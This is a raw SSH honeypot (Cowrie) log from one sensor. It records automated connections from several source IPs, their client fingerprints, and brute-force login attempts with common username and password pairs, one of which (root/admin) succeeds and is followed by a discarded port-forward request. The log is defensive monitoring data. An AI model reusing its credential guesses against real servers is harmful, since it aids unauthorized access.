{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":34046,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0244481ea4f","protocol":"ssh","message":"New connection: 2.57.122.210:34046 (159.203.135.109:22) [session: e0244481ea4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:28.970909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:28.975491Z","src_ip":"2.57.122.210","session":"e0244481ea4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:29.070017Z","src_ip":"2.57.122.210","session":"e0244481ea4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:29.358201Z","src_ip":"2.57.122.210","session":"e0244481ea4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:30.457483Z","src_ip":"2.57.122.210","session":"e0244481ea4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55446,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc7cae75532f","protocol":"ssh","message":"New connection: 193.32.162.145:55446 (10.17.0.5:22) [session: dc7cae75532f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:48.446849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:48.451224Z","src_ip":"193.32.162.145","session":"dc7cae75532f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:48.560604Z","src_ip":"193.32.162.145","session":"dc7cae75532f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:48.895304Z","src_ip":"193.32.162.145","session":"dc7cae75532f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:50.003682Z","src_ip":"193.32.162.145","session":"dc7cae75532f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":36136,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5ab443f4ae4","protocol":"ssh","message":"New connection: 45.148.10.121:36136 (10.17.0.5:22) [session: c5ab443f4ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:43.064600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:43.069200Z","src_ip":"45.148.10.121","session":"c5ab443f4ae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:43.148254Z","src_ip":"45.148.10.121","session":"c5ab443f4ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:43.436364Z","src_ip":"45.148.10.121","session":"c5ab443f4ae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:44.517298Z","src_ip":"45.148.10.121","session":"c5ab443f4ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":8145,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b7d594ae4a2","protocol":"ssh","message":"New connection: 37.77.150.119:8145 (10.17.0.5:22) [session: 4b7d594ae4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:50.333901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:50.337189Z","src_ip":"37.77.150.119","session":"4b7d594ae4a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:50.479008Z","src_ip":"37.77.150.119","session":"4b7d594ae4a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:50.897230Z","src_ip":"37.77.150.119","session":"4b7d594ae4a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:51.039233Z","session":"4b7d594ae4a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:51.180458Z","src_ip":"37.77.150.119","session":"4b7d594ae4a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:39:51.322691Z","src_ip":"37.77.150.119","session":"4b7d594ae4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36614,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0535bcffc98","protocol":"ssh","message":"New connection: 2.57.122.210:36614 (159.203.135.109:22) [session: c0535bcffc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:45.014018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:45.018156Z","src_ip":"2.57.122.210","session":"c0535bcffc98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:45.124410Z","src_ip":"2.57.122.210","session":"c0535bcffc98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx@WSX","message":"login attempt [ubuntu/1qaz!QAZ2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:45.436852Z","src_ip":"2.57.122.210","session":"c0535bcffc98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:46.542631Z","src_ip":"2.57.122.210","session":"c0535bcffc98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43090,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d1bfd58b96d","protocol":"ssh","message":"New connection: 195.178.110.218:43090 (10.17.0.5:22) [session: 1d1bfd58b96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:49.769597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:49.774091Z","src_ip":"195.178.110.218","session":"1d1bfd58b96d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:49.853140Z","src_ip":"195.178.110.218","session":"1d1bfd58b96d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:50.091341Z","src_ip":"195.178.110.218","session":"1d1bfd58b96d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:51.177762Z","src_ip":"195.178.110.218","session":"1d1bfd58b96d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41086,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e1feada1ca9","protocol":"ssh","message":"New connection: 193.32.162.145:41086 (10.17.0.5:22) [session: 1e1feada1ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:54.581605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:54.592631Z","src_ip":"193.32.162.145","session":"1e1feada1ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:54.683723Z","src_ip":"193.32.162.145","session":"1e1feada1ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:55.121231Z","src_ip":"193.32.162.145","session":"1e1feada1ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:40:56.224389Z","src_ip":"193.32.162.145","session":"1e1feada1ca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":2003,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee8575bc79ad","protocol":"ssh","message":"New connection: 37.77.150.119:2003 (10.17.0.5:22) [session: ee8575bc79ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:13.894765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:13.899273Z","src_ip":"37.77.150.119","session":"ee8575bc79ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 